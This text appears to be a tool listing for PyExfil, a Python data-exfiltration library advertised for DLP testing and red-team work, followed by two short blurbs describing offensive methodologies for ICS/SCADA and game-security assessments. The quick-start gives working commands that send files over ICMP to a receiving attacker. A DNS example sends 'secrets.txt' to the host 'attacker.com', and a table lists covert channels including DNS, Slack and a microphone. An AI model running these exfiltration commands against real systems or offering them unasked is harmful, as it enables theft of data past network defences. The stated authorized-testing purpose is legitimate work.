PyExfil
Multi-channel exfiltration — 20+ covert channels for DLP testing and red-team ops.
Quick Start
pip install pyexfil
# ICMP exfil — sender (victim)
python -c "from pyexfil.network.ICMP.icmp_exfil import Send; Send('192.168.1.100', open('file.zip','rb').read())"
# ICMP receiver (attacker)
python -c "from pyexfil.network.ICMP.icmp_exfil import Receive; Receive('0.0.0.0', 'out.zip')"
Exfil Channels
| Channel | Module path |
|---------|-------------|
| ICMP | network.ICMP |
| DNS | network.DNS |
| HTTPS POST | network.HTTPS |
| SMTP | network.SMTP_email |
| Slack | application.Slack |
| FTP STOR | network.FTP |
| NTP | network.NTP |
| BGP | network.BGP |
| QUIC | network.QUIC |
| audio (microphone) | physical.audio |
Common Workflows
DNS exfil:
from pyexfil.network.DNS.dns_exfil import Send
Send(nameserver='attacker.com', data=open('secrets.txt','rb').read())
Test all channels systematically:
# Use individual module scripts in pyexfil/network/
python pyexfil/network/ICMP/icmp_exfil.py --help

Offensive methodology for ICS/OT/SCADA environments in authorized industrial penetration testing and red team operations. Use when assessing PLCs, RTUs, HMIs, engineering workstations, historians, or field devices running Modbus, DNP3, EtherNet/IP, S7comm/S7+, Profinet, IEC 60870-5-104, BACnet, or OPC-UA. Covers passive OT network enumeration, protocol-level device interrogation, PLC coil/register read-write attacks, HMI session exploitation, historian and engineering workstation compromise, and safe escalation rules for critical infrastructure scope. Does not cover: general IT network exploitation (network-technique), physical hardware interfaces UART/JTAG/SPI (hardware-technique), wireless sensor network attacks (wireless-technique), RF/SDR signal analysis (hardware-ctf or wireless-technique), or CTF-framed ICS lab tasks (ics-ctf).

VerifiedTrustedCommunity
Offensive methodology for authorized game security assessments, game client security research, and game-adjacent penetration testing in real-world engagements. Use when assessing game clients for cheating vulnerabilities, testing anti-cheat effectiveness, auditing game server protocols for score manipulation or economic fraud, reverse engineering game DRM or license validation, analyzing game save file protection, or assessing game mod/plugin security. Covers: process memory scanning and manipulation (Cheat Engine methodology), game binary reversing for license and DRM bypass, game network protocol analysis and packet replay, anti-cheat mechanism analysis, save file format reversing and tampering, speed hack and value injection techniques. Does NOT cover: CTF game challenges (game-ctf), game engine source code auditing (web-exploit-technique or vuln-search-technique for the backend), or general binary exploitation (pwn-ctf or reversing-technique).
